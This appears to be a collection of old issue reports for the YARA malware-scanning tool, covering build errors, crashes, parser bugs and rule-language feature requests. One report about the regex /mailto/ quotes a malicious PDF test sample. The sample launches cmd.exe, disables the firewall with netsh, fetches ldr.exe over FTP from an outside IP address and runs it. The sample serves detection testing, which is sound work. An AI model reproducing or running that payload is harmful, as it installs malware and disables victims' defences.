odin1314 / yara-project Goto Github PK

What steps will reproduce the problem?
1. file with unicode string 'hello.com'
2. regex search eg $url = /\w+\.com$/ wide
3. run yara search to find no result

What is the expected output? What do you see instead?
expected result is the url match. instead it returns with no result. the 
problem lies in the wide character '.' not matching

What version of the product are you using? On what operating system?
Pythoon 2.7 with yara version 1.5

Please provide any additional information below.
I haven't tried with other characters in the wide character set but it may be 
the same issue with them as well

What steps will reproduce the problem?
1. sudo python setup.py install
2.
3.

What is the expected output? What do you see instead?
fails to install
-------
running install
running build
running build_ext
building 'yara' extension
gcc -pthread -fno-strict-aliasing -DNDEBUG -O2 -g -pipe -Wall
-Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector
--param=ssp-buffer-size=4 -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fPIC
-I/usr/local/include -I/usr/include/python2.4 -c yara-python.c -o
build/temp.linux-x86_64-2.4/yara-python.o
yara-python.c:19:20: error: Python.h: No such file or directory
yara-python.c:20:26: error: structmember.h: No such file or directory
yara-python.c:26: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:86: error: expected specifier-qualifier-list before
‘PyObject_HEAD’
yara-python.c:95: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:96: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:97: error: expected ‘)’ before ‘*’ token
yara-python.c:102: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘Match_members’
yara-python.c:111: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘Match_methods’
yara-python.c:116: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘Match_Type’
yara-python.c:159: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:177: error: expected ‘)’ before ‘*’ token
yara-python.c:190: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:197: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:206: error: expected specifier-qualifier-list before
‘PyObject_HEAD’
yara-python.c:212: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:213: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:214: error: expected ‘)’ before ‘*’ token
yara-python.c:216: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘Rules_methods’
yara-python.c:222: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘Rules_Type’
yara-python.c:267: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:334: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:397: error: expected ‘)’ before ‘*’ token
yara-python.c: In function ‘callback’:
yara-python.c:409: error: ‘PyObject’ undeclared (first use in this function)
yara-python.c:409: error: (Each undeclared identifier is reported only once
yara-python.c:409: error: for each function it appears in.)
yara-python.c:409: error: ‘taglist’ undeclared (first use in this function)
yara-python.c:410: error: ‘stringlist’ undeclared (first use in this 
function)
yara-python.c:411: error: ‘metalist’ undeclared (first use in this function)
yara-python.c:412: error: ‘match’ undeclared (first use in this function)
yara-python.c:413: error: ‘list’ undeclared (first use in this function)
yara-python.c:413: error: expected expression before ‘)’ token
yara-python.c:418: warning: implicit declaration of function ‘PyList_New’
yara-python.c:419: warning: implicit declaration of function ‘PyDict_New’
yara-python.c:429: warning: implicit declaration of function ‘PyList_Append’
yara-python.c:429: warning: implicit declaration of function
‘PyString_FromString’
yara-python.c:439: warning: implicit declaration of function 
‘PyDict_SetItem’
yara-python.c:441: warning: implicit declaration of function ‘Py_BuildValue’
yara-python.c:447: warning: implicit declaration of function 
‘PyBool_FromLong’
yara-python.c:470: warning: implicit declaration of function 
‘PyInt_FromLong’
yara-python.c:471: warning: implicit declaration of function
‘PyString_FromStringAndSize’
yara-python.c:479: warning: implicit declaration of function ‘Match_NEW’
yara-python.c:487: warning: implicit declaration of function ‘Py_DECREF’
yara-python.c: At top level:
yara-python.c:497: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:554: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:561: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘*’ token
yara-python.c:692: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or 
‘__attribute__’
before ‘methods’
yara-python.c: In function ‘inityara’:
yara-python.c:701: error: ‘PyObject’ undeclared (first use in this function)
yara-python.c:701: error: ‘m’ undeclared (first use in this function)
yara-python.c:701: error: ‘d’ undeclared (first use in this function)
yara-python.c:701: warning: left-hand operand of comma expression has no effect
yara-python.c:705: warning: implicit declaration of function 
‘Py_InitModule3’
yara-python.c:705: error: ‘methods’ undeclared (first use in this function)
yara-python.c:706: warning: implicit declaration of function 
‘PyModule_GetDict’
yara-python.c:714: error: ‘YaraError’ undeclared (first use in this 
function)
yara-python.c:715: error: ‘YaraSyntaxError’ undeclared (first use in this
function)
yara-python.c:717: warning: implicit declaration of function
‘PyDict_SetItemString’
error: command 'gcc' failed with exit status 1
[root@localhost yara-python-1.3]# 

What version of the product are you using? On what operating system?
yara 1.3 is installed, trying to install yara-python 1.3 on CentOS 5.3 x64

Please provide any additional information below.
Thank you for your help!

This is a feature request.

It would nice to be able to define a string and iterate through all it's 
matches using for..of.

For example:

rule foo
{
  strings:
    $mystring = { ... }

  condition:
    for any|all of ($mystring ) : ( expression )
}

This would imply that any would would be an ORing of the expressions and all 
would be an ANDing.

Then it would be nice to use @ in the expression to use the offset of the 
current iteration of that match of the string.

Thanks for a great project. Even a pointer to the proper sections of the code 
to implement this would be appreciated.

What steps will reproduce the problem?
1.Run yara binaries (python lib or executable) on win 2008 x64
2.Crash

What is the expected output? What do you see instead?
Process crashes.


What version of the product are you using? On what operating system?
Binary builds of yara. Server 2008 (x64)


Please provide any additional information below.

Hi,

Would it be possible to implement some kind of grouping into YARA signatures 
like RegEx groups

Sample:

rule Sample
{
    strings:
        $SampleSig = { 6A 0A 8D 4? ?? 5? (?<Target> 68 [2] 00 00) E8 [4] 8D 4? ?? 83 C4 0C } 
    condition:
        $SampleSig
}

This kind of grouping would made data extraction even easier then it is already.
Access to the result would be like:  
$SampleSig[Target] (or whatever is easy to implement) and would return the 68 
XX XX 00 00 value only accept of the whole match

Thanks in advance!

Currently, in Yara v1.6 it is possible to read a [un]signed byte, word, or 
dword from an offset using int8(), uint8(), int16(), etc. etc.

The value returned is interpreted in little-endian byte order (or at least it 
is on my x86 systems where I run Yara). Which is ok if you're only testing it 
against a constant (you can just byte-swap the constant). But if you are using 
this value as an offset for a second lookup, you need to do something like this:

         uint32( 
            (
             (uint8(0x10)<<24) + 
             (uint8(0x11)<<16) + 
             (uint8(0x12)<< 8) + 
             (uint8(0x13)    )
            )
         )

For contrast, the little-endian case is just: unit32(uint32(0x10))

A Yara built-in function which handles big-endian would make these rules much 
easier to read and write for humans.

What steps will reproduce the problem?
1. Download and un-tar source code on Ubuntu 8.10. 
2. sudo ./configure
3. sudo MAKE

What is the expected output? What do you see instead?
I'm getting these errors at the end of MAKE:
gcc  -g -O2   -o yara yara.o libyara/.libs/libyara.a -lpcre -lpcre -lpcre
-lpcre
make[2]: *** No rule to make target `doc/yara.1', needed by `all-am'.  Stop.
make[2]: Leaving directory `/tmp/yara-1.1'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/tmp/yara-1.1'
make: *** [all] Error 2

I attached a file with the full Make output. 


What version of the product are you using? On what operating system?
yara 1.1, on Ubuntu 8.10 x86_64 and x86_32 (both give the same error) 


Please provide any additional information below.
Not sure where the problem is coming from but if anyone has any
recommendations it would be greatly appreciated. 

I'm using HEAD verion.

styx@styx-zone:~/@virlab/q$ valgrind yara userdb.yara 
8D610742B96EC1F14EF758E4004A63D7F1102486 
==31051== Memcheck, a memory error detector
==31051== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==31051== Using Valgrind-3.6.1 and LibVEX; rerun with -h for copyright info
==31051== Command: yara userdb.yara 8D610742B96EC1F14EF758E4004A63D7F1102486
==31051== 
*** buffer overflow detected ***: yara terminated
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x590a1d7]
/lib/x86_64-linux-gnu/libc.so.6(+0xfd0f0)[0x59090f0]
/lib/x86_64-linux-gnu/libc.so.6(__strncpy_chk+0x16e)[0x59083de]
yara[0x405624]
yara[0x40b7b4]
yara[0x406961]
yara[0x402388]


GDB backtrace:

Program received signal SIGABRT, Aborted.
0x00007ffff709ed05 in raise (sig=6) at 
../nptl/sysdeps/unix/sysv/linux/raise.c:64
64  ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory.
    in ../nptl/sysdeps/unix/sysv/linux/raise.c
(gdb) bt
#0  0x00007ffff709ed05 in raise (sig=6) at 
../nptl/sysdeps/unix/sysv/linux/raise.c:64
#1  0x00007ffff70a2ab6 in abort () at abort.c:92
#2  0x00007ffff70d7d7b in __libc_message (do_abort=2, fmt=0x7ffff71beb23 "*** 
%s ***: %s terminated\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:189
#3  0x00007ffff71691d7 in __fortify_fail (msg=0x7ffff71beaba "buffer overflow 
detected") at fortify_fail.c:32
#4  0x00007ffff71680f0 in __chk_fail () at chk_fail.c:29
#5  0x00007ffff71673de in __strncpy_chk (s1=<value optimized out>, s2=<value 
optimized out>, n=<value optimized out>, s1len=<value optimized out>)
    at strncpy_chk.c:34
#6  0x0000000000405624 in strncpy (yyscanner=<value optimized out>, 
    error_message=0x7fffffffd650 "syntax error, unexpected '{', expecting _TEXTSTRING_ or _HEXSTRING_ or _REGEXP_") at /usr/include/bits/string3.h:121
#7  yyerror (yyscanner=<value optimized out>, 
    error_message=0x7fffffffd650 "syntax error, unexpected '{', expecting _TEXTSTRING_ or _HEXSTRING_ or _REGEXP_") at lex.l:428
#8  0x000000000040b7b4 in yyparse (yyscanner=0x6132b0) at grammar.c:2488
#9  0x0000000000406961 in parse_rules_file (rules_file=0x613050, 
context=0x7ffff7f4e010) at lex.l:491
#10 0x0000000000402388 in main (argc=3, argv=0x7fffffffd878) at yara.c:576
(gdb) quit
A debugging session is active.

    Inferior 1 [process 31067] will be killed.


My sollution:
In lex.l local var 'message' has size 512 and the error message in context has 
only 256. So I just increased the size of 'last_error_extra_info' to 512.

sizedstr.h:33:7: warning: no newline at end of file
lex.h:32:63: warning: no newline at end of file
sizedstr.h:33:7: warning: no newline at end of file
lex.h:32:63: warning: no newline at end of file
sizedstr.h:33:7: warning: no newline at end of file
sizedstr.h:33:7: warning: no newline at end of file
sizedstr.h:33:7: warning: no newline at end of file
proc.c:296:7: warning: no newline at end of file

What steps will reproduce the problem?
1. compile a rule file that contains multiple includes
2. do step 1 in a for loop (1000 times, with some arbitrary delay between each 
compile to slow things down)
3. watch /proc/<pid>/fd and notice file descriptors adding up and never closing

What is the expected output? What do you see instead?
I would expect that the file descriptors for each include would close are each 
compile, just as the main rules file closes after its contents have been read.

What version of the product are you using? On what operating system?
yara 1.6, yara-python 1.6, CentOS 6.0, python 2.6

Please provide any additional information below.
If you have many includes and you want to recompile the rules periodically 
during a long running process, eventually you will run out of file descriptors 
and the process will fail to open any more files. You have to restart the 
process to fix the issue.

I'm guessing this is a flex issue as that's where includes are handled. I tried 
tracing it down but I had little luck.

Libyara should not call exit() it should return an appropriate error code for 
the application using it to handle.

What steps will reproduce the problem?
1. Write a rule
2. Add single-line comments before and after
3. Compile

To be more specific, this rule will demonstrate:

//blah1
rule foo
{
   strings:
      $a = "foo"

   condition:
      $a

}
//blah2

Removing the "blah2" comment makes the error go away.

What is the expected output? What do you see instead?

line 11: syntax error, unexpected _REGEXP_, expecting $end or _RULE_ or
_PRIVATE_ or _GLOBAL_

What version of the product are you using? On what operating system?

Um, the one on VirusTotal

Please provide any additional information below.

I believe that the parser can't tell the difference between "//" as a
regex, and "//" as a comment.

What steps will reproduce the problem?
1.Untar Yara 1.5 distribution  under /tmp
2.Run ./configure
3.Run make


What is the expected output? What do you see instead?

     Make proceeds normally until it attempts to compile proc.c. It then errors out with the following:

          /bin/sh ./libtool --tag=CC   --mode=compile gcc -DHAVE_CONFIG_H -I.     -g -O2 -MT proc.lo -MD -MP -MF .deps/proc.Tpo -c -o proc.lo proc.c
libtool: compile:  gcc -DHAVE_CONFIG_H -I. -g -O2 -MT proc.lo -MD -MP -MF 
.deps/proc.Tpo -c proc.c  -DDLL_EXPORT -DPIC -o .libs/proc.o
          proc.c:119:24: error: sys/ptrace.h: No such file or directory
          proc.c: In function `get_process_memory':
          proc.c:244: error: `PTRACE_ATTACH' undeclared (first use in this function)
          proc.c:244: error: (Each undeclared identifier is reported only once
          proc.c:244: error: for each function it appears in.)
          proc.c:287: error: `PTRACE_DETACH' undeclared (first use in this function)
          make[4]: *** [proc.lo] Error 1
          make[4]: Leaving directory `/tmp/yara-1.5/libyara'
          make[3]: *** [all-recursive] Error 1
          make[3]: Leaving directory `/tmp/yara-1.5/libyara'
          make[2]: *** [all] Error 2
          make[2]: Leaving directory `/tmp/yara-1.5/libyara'
          make[1]: *** [all-recursive] Error 1
          make[1]: Leaving directory `/tmp/yara-1.5'
          make: *** [all] Error 2


What version of the product are you using? On what operating system?

Yaraq 1.5, under Windows 7x64 (cygwin)

Please provide any additional information below.

Compilation seems to be failing because WIN32 is not defined in proc.c. This is 
defined in several different cygwin include files. I tried manually including 
one of these, /usr/include/w32api/windef.h, in proc.c. Subsequent compilation  
was successful, and the application appeared to work correctly.

do you think about create yara support to unicode string? 

What steps will reproduce the problem?

1. Download remnux 2.0
2. Run jsunpack on a malicious PDF to see that it works
3. Write a new rule file that looks for something you know will fire in an 
executable (imports, etc..)
4. Run pescanner on a malicious exe (note the rule must fire to fail otherwise 
it will give you the normal information)
5. Download yara-python-1.4a
6. Install it on remnux 2.0 (build and install)
7. Try to run jsunpack against the malicious PDF (should now fail)
8. Run pescanner on that same malicious exe (should now work)

What is the expected output? What do you see instead?

1.  pescanner.py before installation of 1.4a will fail everytime a yara rule 
fires and give the following TypeError:

Traceback (most recent call last):
 File "/usr/local/bin/pescanner", line 388, in <module>
  pescan.collect()
 File "/usr/local/bin/pescanner", line 311, in collect
  yarahits = self.check_yara(data)
 File "usr/local/bin/pescanner", line 232, in check_yara
  for (key,stringname,val) in hit.strings:
TypeError: 'int" object is not iterable

After you install yara-python 1.4a it will now show the yara rule hits in the 
pescanner results properly but jsunpack.py will now give a TypeError:


Traceback (most recent call last):
 File "/home/remnux/jsunpack-n/jsunpackn.py", line 1352, in <module> main()
 File "/home/remnux/jsunpack-n/jsunpackn.py", line 1293, in main 
  js = jsunpack(file, ['',mydata,file], options)
 File "/home/remnux/jsunpack-n/jsunpackn.py", line 133, in __int__
  self.main_decoder(mydata,myfile)
 File "/home/remnux/jsunpack-n/jsunpackn.py", line 1015, in main_decoder
  self.signature(predecoded,level,tcpaddr,isPDF)
 File "/home/remnux/jsunpack-n/jsunpackn.py", lin3 498, in signature
  hits = self.SIGS.process(data, level, isPDF)
 File "/home/remnux/jsunpack-n/jsunpackn.py", line 57, in process
  msg.append(match,strings[s])
TypeError: list indices must be integers, no tuple


What version of the product are you using? On what operating system?

Version of product mentioned above and Operating System is a light weight 
Ubuntu 2.6.31-15


Please provide any additional information below.

What is so different between the yara.so of yara-python1.4 and yara-python1.4a 
that would break this?

What steps will reproduce the problem?

In YARA v1.6, bitwise operators were introduced (e.g., &, |).

In YARA v1.5 and older, any rules supplied containing bitwise operators will 
cause those engines to explicitly _fail_.

What is the expected output? What do you see instead?

Instead of failing to load all YARA rules, it would be helpful if YARA 
respected a META tag like:

rule new_rule {
    meta:
        min_version = 1.6
}

rule old_rule {
    meta:
        min_version = 1.5
}

Then, if you run these rules against YARA v1.5 engine, only the "old_rule" 
would get loaded, while if you ran these rules against the YARA v1.6 engine, 
both "new_rule" _and_ "old_rule" would get properly loaded and used.

Essentially, rather than having YARA v1.5 fail outright, it could just _ignore_ 
incompatible rules but proceed to process other supported rules, accordingly.

What version of the product are you using? On what operating system?

v1.4, Linux 64-bit
v1.5, Linux 64-bit
v1.6, Linux 64-bit

Please provide any additional information below.

What steps will reproduce the problem?
1. create a file with a long text string, make sure that somewhere in the
string is the text "mailto"
2. make a rule which consist of 1 regex; $a = /mailto/
3. run yara on the text file you created in step 1

What is the expected output? What do you see instead?
Expect a valid hit on the rule, but instead, when run multiple
times in a row you will get no hits, a yara error (shown below)
or a valid hit.

'invalid regular expression in string "$a": unmatched parentheses'

What version of the product are you using? On what operating system?
Yara 1.2 on Windows Vista x64


tested file contents:
obj<</URI(mailto:%/../../../../ ../../Windows /system32/cmd".exe"" /c /q
\"@echo off&netsh firewall set opmode mode=disable&echo o 81. 95. 146.
130>1&echo binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v
-A>nul&del /q 1& start ldr.exe&\" \"&\" "nul.bat)/S/ URI>

rule file contents:
rule PDF_mailto : PDF
{
    strings:
        $a = /mailto/

    condition:
        $a
}

Currently, Yara v1.6 supports Addition, Subtraction, Multiplication, and 
Division (+,-,*,\) However, modular division is not supported. This isn't a 
huge problem, because you can just do something like: X - (n*(X/n)) rather than 
just writing X%n, but the later is easier to read...

For example, to verify the check-bits on a zlib stream, you'd currently need to 
write something like this:

0 == ((uint8(0)<<8)|uint8(1)) - ( 31 * (((uint8(0)<<8)|uint8(1))\31))

With a native modulus operator in the Yara syntax, you could just write:

0 == (uint8(0)<<8)|uint8(1)) % 31

With support for big-endian WORDs and DWORDs (See: <a 
href="/p/yara-project/issues/detail?id=38">Issue #38</a>) this could be written 
simply as:

0 == uintb16(0) % 31 

// .. or however the syntax would look. Something like pack() and unpack() from 
Perl and Python would be good for exactly specifying types.

What steps will reproduce the problem?
1. Attempt to use namespaces with yara-python and 'filesources'

What is the expected output? What do you see instead?
Namespaces should be created based on dictionary keys. No namespaces are
ever created when using 'filesources' and yara.compile.

What version of the product are you using? On what operating system?
yara-python v1.4

Please provide any additional information below.
It looks like yara.compile() will create namespaces from dictionary keys if
'sources' is used as the argument. While the docs suggest that the same is
true for 'filesources' it doesn't actually work. A quick browse in the
source and it looks like the context for each file in 'filesources' is
never setup in the same was as is done with 'sources'

Please provide any additional information below.

Clamav signatures use * to specify an arbitrary jump.  Jumps in yara are 
limited to 255 bytes and the clamav to yara script translates  00123456*6789a1 
as two strings $a0 = { 00123456 }, $a1 = { 6789a1 } with a condition of "$a0 
and $a1".  This is clearly conservative and leads to false positives when the 
last instance of $a1 precedes the first instance of $a0.  For strings of known 
length, the condition could be made exact by specifying @a0 + 4 < @a1, but this 
becomes more complicated if the first string contains a jump or alternatives of 
unequal length.

What is needed is some way to say that $a1 must follow an instance of $a0. 
Something like "$a0 then $a1" would suffice.  In some cases, it might be useful 
to be able to bound the start of $a1 with a range greater than that supported 
by a jump.  for example, if $a1 must start between 1024 and 2048 bytes after 
the end of $a0, some notation like pad(min-max) and pad{exact) might be useful 
as in  "$a0 then pad(1024-2048) then $a1".  Note that if there were an operator 
to determine the length of the most recent match of a string, this could be 
done within the existing framework.  let ?a be the length of the most recent 
match of $a.  Now, we can say @a0 + ?a0 < @a1.  ?a[i] could be used for the 
length of the ith match.

Note that this kind of specificity should improve efficiency as it bounds the 
search for the subsequent portions of the rule.

What steps will reproduce the problem?

1. Let's say I have two YARA rules declared as:

rule Is_EXE_Or_DLL { condition: entrypoint >= 0 } 
rule Is_Not_EXE_Or_DLL { condition: not Is_EXE_Or_DLL }

2. And then I supply an RTF file.

What is the expected output? What do you see instead?

I would expect the YARA rule "Is_Not_EXE_Or_DLL" to fire, but it does not.  
This is because the "entrypoint" calculation only applies to PE files and will 
silently _FAIL_ on any other file types.  In general, for any built-in 
functions like "entrypoint", it should return _FALSE_ instead of failing, if 
the wrong filetype is supplied.

What version of the product are you using? On what operating system?

Yara v1.6, Linux 64-bit
Please provide any additional information below.

What steps will reproduce the problem?
1. ran ./configure
2. ran ./make
3.

What is the expected output? What do you see instead?
it is supposed to build instead I received the following:

make  all-recursive
Making all in libyara
make  all-recursive
Making all in regex
/bin/sh ../libtool --tag=CC   --mode=compile gcc -DHAVE_CONFIG_H -I. -I..     
-g -O2 -MT regex-pcre.lo -MD -MP -MF .deps/regex-pcre.Tpo -c -o regex-pcre.lo 
regex-pcre.c
libtool: compile:  gcc -DHAVE_CONFIG_H -I. -I.. -g -O2 -MT regex-pcre.lo -MD 
-MP -MF .deps/regex-pcre.Tpo -c regex-pcre.c  -fno-common -DPIC -o 
.libs/regex-pcre.o
regex-pcre.c:18:18: error: pcre.h: No such file or directory
regex-pcre.c: In function ‘regex_exec’:
regex-pcre.c:32: error: ‘pcre’ undeclared (first use in this function)
regex-pcre.c:32: error: (Each undeclared identifier is reported only once
regex-pcre.c:32: error: for each function it appears in.)
regex-pcre.c:32: error: expected expression before ‘)’ token
regex-pcre.c:45: error: ‘PCRE_ERROR_NOMEMORY’ undeclared (first use in this 
function)
regex-pcre.c:45: error: ‘PCRE_ERROR_NOSUBSTRING’ undeclared (first use in 
this function)
regex-pcre.c: In function ‘regex_free’:
regex-pcre.c:63: error: ‘pcre’ undeclared (first use in this function)
regex-pcre.c:63: error: expected expression before ‘)’ token
regex-pcre.c:69: error: ‘pcre_extra’ undeclared (first use in this function)
regex-pcre.c:69: error: expected expression before ‘)’ token
regex-pcre.c: In function ‘regex_compile’:
regex-pcre.c:93: error: ‘PCRE_ANCHORED’ undeclared (first use in this 
function)
regex-pcre.c:96: error: ‘PCRE_CASELESS’ undeclared (first use in this 
function)
regex-pcre.c:98: error: ‘pcre’ undeclared (first use in this function)
regex-pcre.c:98: error: expected expression before ‘)’ token
regex-pcre.c:102: error: ‘pcre_extra’ undeclared (first use in this 
function)
regex-pcre.c:102: error: expected expression before ‘)’ token
make[4]: *** [regex-pcre.lo] Error 1
make[3]: *** [all-recursive] Error 1
make[2]: *** [all] Error 2
make[1]: *** [all-recursive] Error 1
make: *** [all] Error 2


What version of the product are you using? On what operating system?
Yara version 1.5 source
OS: Darwin Macintosh.local 10.7.0 Darwin Kernel Version 10.7.0: Sat Jan 29 
15:17:16 PST 2011; root:xnu-1504.9.37~1/RELEASE_I386 i386

Snow leopard version 10.6.7

Please provide any additional information below.

What steps will reproduce the problem?
1.Load the signatures in the attached .yara file
2.Run yara against suitable test files (see discussion)
3.wait (and wait and wait(

What is the expected output? What do you see instead?

Expected output is a list of matches.  Actual output is nothing, but 
performance meter shows 100%cpu until yara isntance is killed.

What version of the product are you using? On what operating system?
1.6 (latest) on OS X 10.6

Please provide any additional information below.

I need an easy way to determine the data file or files that are causing the 
problem.  I derived the signatures in question using the clamav to yara script  
(see http://resources.infosecinstitute.com/malware-analysis-clamav-yara/ )  My 
test data is a corpus of some 5000 emails with a total volume of 600MB.  I run 
yara on this directory using the -r option. Clamav finds no malware in this 
corpus and I am using it primarily for performance and timing data.  To ensure 
some output, I have a trivial signature that looks for messages with both html 
and jpeg attachments, there being about 20 of these scattered through the 
corpus.  If I use the trivial signature alone, I find those messages.  If I add 
any of the signatures in the attached file, yara hangs processing the corpus.  
In all but one case, it hangs prior to finding the first jpeg/html file, but 
this is several hundred files into the list.  In the remaining case, the first 
known file is identified prior to the hang.  For obvious reasons, I cannot 
share the corpus, but, if yara provided an option to list files as it processes 
them, I could pinpoint the problematic file for each signature and either 
provide the file or a sanitized version that causes the problem.  The 
signatures may be sufficient to help locate the problem as most seem to combine 
a data sensitive 2 byte prefix with a [0-255] jump.

The problem is that you've committed auto generated stuff to the trunk 
(symlinks). You might want to look at 
https://www.midnight-commander.org/browser/autogen.sh

Thanks for nice tool (:

[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
>>> import yara = yara.compile('/Users/plusvic/Work/Rules/urls')
<yara.Rules object at 0x52050>
>>> r.matchfile('invalid/path')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IOError: [Errno 2] No such file or directory
>>> r.matchfile('invalid/path')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IOError: [Errno 2] No such file or directory
>>> r.matchfile('444/55')
Fatal Python error: GC object already tracked
Abort trap

In file included from /usr/include/string.h:642:0,
                 from lex.c:20:
In function ‘strncpy’,
    inlined from ‘yyerror’ at lex.l:428:16:
/usr/include/bits/string3.h:121:3: warning: call to __builtin___strncpy_chk 
will always overflow destination buffer

What steps will reproduce the problem?
0. Be on Ubuntu 10.10
1. svn checkout http://yara-project.googlecode.com/svn/trunk/ yara
2. apt-get install build-essential libpcre3-dev
3. cd yara; ./configure && make

What do you see instead?
$ make
cd . && /bin/bash /home/eip/yara/missing --run aclocal-1.10 -I m4
/home/eip/yara/missing: line 54: aclocal-1.10: command not found
WARNING: `aclocal-1.10' is missing on your system.  You should only need it if
         you modified `acinclude.m4' or `configure.ac'.  You might want
         to install the `Automake' and `Perl' packages.  Grab them from
         any GNU archive site.
 cd . && /bin/bash /home/eip/yara/missing --run automake-1.10 --gnu 
/home/eip/yara/missing: line 54: automake-1.10: command not found
WARNING: `automake-1.10' is missing on your system.  You should only need it if
         you modified `Makefile.am', `acinclude.m4' or `configure.ac'.
         You might want to install the `Automake' and `Perl' packages.
         Grab them from any GNU archive site.
cd . && /bin/bash /home/eip/yara/missing --run autoconf
configure.ac:2: error: possibly undefined macro: AM_INIT_AUTOMAKE
      If this token and others are legitimate, please use m4_pattern_allow.
      See the Autoconf documentation.
configure.ac:17: error: possibly undefined macro: AM_CONDITIONAL
make: *** [configure] Error 1

What version of the product are you using? On what operating system?
r110

Possible enhancement for the python bindings:

The yara C API allows (hopefully intentionally) the ability to load multiple 
rule files into an existing context under the same namespace using 
yr_compile_file() or yr_compile_string(). 

However, the way the python bindings are implemented, you cannot create a yara 
context and proceed to add new rules to it after it is created. Nor can you 
specify multiple rules when calling yara.compile() to create a new rules 
instance.

When I wrote the ruby bindings, I tried to keep to the C library in this regard 
(perhaps incorrectly). Assuming this is the correct behavior, it'd be nice to 
have a similar ability in python.

Regards,
-Eric Monti

Ok, this is an actual bug, not just a feature request...

If you use "\"" rather than a hex representation, Yara will never match on that 
string. To reproduce, create a file just like this

rule not_working {
   strings:
     $quote = "\""
   condition:
     $quote
}

rule working {
  strings:
    $quote = { 22 }
  condition:
    $quote
}

... And then create a text file with at least one double quote character in it:

$ echo \" >> quote.txt

$ /usr/local/bin/yara -s quote.yara quote.txt 
working quote.txt
0x0:$quote: 22 

$ /usr/local/bin/yara -sn quote.yara quote.txt 
not_working quote.txt

# And just for reference:
$ hexdump -C quote.txt
00000000  22 0a                                             |".|
00000002

# I expect that both rules should produce the same output. (Match the same 
inputs/work at all.)

The unit32() style functions are very useful. But sometimes I need to read an 
ASCII string, and use it as a number. Currently, that involves writing 
conditions like this:

( ((uint8(0x95)-0x30)<<15) +
  ((uint8(0x96)-0x30)<<12) +
  ((uint8(0x97)-0x30)<< 9) +
  ((uint8(0x98)-0x30)<< 6) +
  ((uint8(0x99)-0x30)<< 3) +
  ((uint8(0x9A)-0x30)    )
)

Which is kind of obnoxious, it would be nice if there was just a function like 
uint32() which could convert "012345" into 5349.

On page 15 of "YARA User's Manual Ver. 1.6", it says the following:


4.7 Applying the same condition to many strings

[...]

You can also employ the symbols # and @ to make reference to the number of 
occurrences and the first offset of each string respectively.
[...]

for all of ($a*) : ( @ > @b )

This doesn't actually work. Yara will say:

syntax error, unexpected _GE_, expecting '['

Modifying the condition like this (which defeats the purpose of using it)

for all of ($a*) : ( @[1] > @b )

... will still cause this error:

syntax error, unexpected ')', expecting '['

Also, this doesn't work, but it's not clear if it ever should:

for all of ($a*) : ( @[] > @b[1] )

This is syntactically correct, but now I'm only comparing for a single value, 
not "for all of them":

for all of ($a*) : ( @[1] > @b[1] )

(Note: The "#" symbol does work as documented.)

I have been trying to express a set of conditions and a generic rule that will 
trigger if any of the conditions are met (1 or more). The natural syntax for 
doing so seemed to me to be "any of them", but using this condition does not 
appear to be working as I might expect. I can achieve what I want using a 
comprehensive "or" clause (containing all strings I desire to express), but the 
syntax is clunky and must be maintained as I add strings.

An example of what I am talking about:

test.yara:

rule test
{
   strings:
     $a = {61}
     $b = {62}
     $c = {63}
   condition:
     any of them
}

I might expect this rule to fire if a file contains a or b or c. Instead, it 
fires if a file has a (but not b or c), b (but not a or c), or c (but not a or 
b). This is what I would expect to happen if I specified a condition "1 of 
them" (which is exactly what happens).


I tested this via the following:
$: echo a > /tmp/test.a
$: echo b > /tmp/test.b
$: echo c > /tmp/test.c
$: echo ab > /tmp/test.ab
$: echo ac > /tmp/test.ac
$: echo bc > /tmp/test.bc
$: echo abc > /tmp/test.abc

$: for x in `ls /tmp/test.*`; do yara test.yara $x; done
test /tmp/test.a
test /tmp/test.b
test /tmp/test.c

I might have expected all files to match.

This is against YARA 1.5, running on Ubuntu 10.4.

If there is alternate syntax available to achieve a concise way of indicating 
that any of the specified rules should satisfy the condition, I would 
appreciate a pointer!

